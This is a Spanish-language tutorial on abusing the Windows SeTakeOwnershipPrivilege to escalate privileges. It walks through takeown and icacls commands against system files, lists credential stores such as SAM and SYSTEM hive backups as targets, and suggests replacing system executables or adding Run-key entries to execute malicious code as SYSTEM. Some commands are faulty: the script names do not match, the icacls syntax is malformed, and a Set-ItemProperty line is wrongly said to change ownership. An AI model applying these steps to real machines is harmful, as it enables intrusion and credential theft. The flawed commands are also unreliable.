SeTakeOwnershipPrivilege

SeTakeOwnershipPrivilege es un privilegio de Windows que permite a los usuarios tomar posesión de objetos, como archivos, carpetas claves de registro, incluso sin permisos explícitos. Una vez toma la propiedad, el usuario puede modificar los permisos del objeto para obtener control total, eludiendo así las restricciones de acceso.

Podemos utilizar el comando whoami /priv para comprobar si el privilegio SeTakeOwnershipPrivilege esta habilitado.

Explotación del privilegio SeTakeOwnershipPrivilege.

Si un usuario tiene el privilegio SeTakeOwnershipPrivilege, puede tomar el control de objetos sensibles, como archivos del sistema o procesos críticos y modificar sus permisos para obtener acceso o ejecutar comandos arbitrarios. A continuación, se explica cómo abusar de este privilegio para escalar privilegios.

PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                              State
============================= ======================================================= ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects                Disabled

Si el privilegio está deshabilitado, podemos habilitarlo usando este script Enable-Privilege.ps1.

PS C:\temp> Import-Module .\Enable-Privilege.ps1
PS C:\temp> .\EnableAllTokenPrivs.ps1
PS C:\temp> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                              State
============================= ======================================== =======
SeTakeOwnershipPrivilege      Take ownership of files or other objects Enabled

Toma de propiedad de archivos o directorios

SeTakeOwnershipPrivilege permite cambiar la propiedad de un archivo o directorio, lo que permite modificar o acceder a archivos restringidos. Tras tomar posesión, puede modificar su Lista de Control de Acceso Discrecional (DACL) para obtener control total.

Pasos para explotar SeTakeOwnershipPrivilege en archivos:

  1. Tomar propiedad de un archivo o directorio:

Utilizamos el comando takeown para tomar propiedad de un archivo o directorio.

takeown /F <file_or_directory>

Ejemplo:

takeown /F C:\Windows\System32\drivers\etc\hosts

Este comando cambia la propiedad del archivo especificado a la cuenta del usuario actual.

  1. Conceder control total sobre el archivo:

Después de tomar propiedad, modificamos los permisos del archivo usando el comando icacls para otorgarnos propiedad total.

icacls <file_or_folder> /grant /<username>:F

Ejemplo:

icacls C:\Windows\System32\drivers\etc\hosts /grant /<username>:F
  • /grant Otorga control total (F) sobre el archivo al usuario especificado.

  • Modificar o acceder al archivo:

Tras obtener control total, podemos editar, eliminar o acceder al archivo según sea necesario. Por ejemplo, podemos modificar archivos confidenciales del sistema como hosts, o incluso reemplazar ejecutables del sistema por otros maliciosos para obtener privilegios de nivel de SYSTEM.

Algunos archivos locales de interés pueden incluir:

c:\inetpub\wwwwroot\web.config
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav

Toma de propiedad de las claves de registro

También podemos utilizar SeTakeOwnershipPrivilege para modificar la propiedad y los permisos de claves de registro críticas, lo que permite aumentar los privilegios.

Pasos para explotar claves de registro:

  1. Tomar propiedad de una clave de registro:

    Utilizamos regedit o Powershell para cambiar la propiedad de una clave de registro. Podemos asumir la propiedad de claves confidenciales, como las relacionadas con cuentas de usuarios, servicios o configuraciones de inicio.

    Ejemplo en Powershell:

    powershell Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "<key>" -Value "<value>"

    Esto cambia la propiedad de la clave, lo que permite modificar la configuración de inicio u otras configuraciones críticas.

  2. Modificar permisos:

    Tras asumir la propiedad, modificamos los permisos para obtener control total. Ahora podemos modificar los valores de la clave para ejecutar código malicioso, iniciar servicios con privilegios de SYSTEM o agregar nuevas entradas de inicio.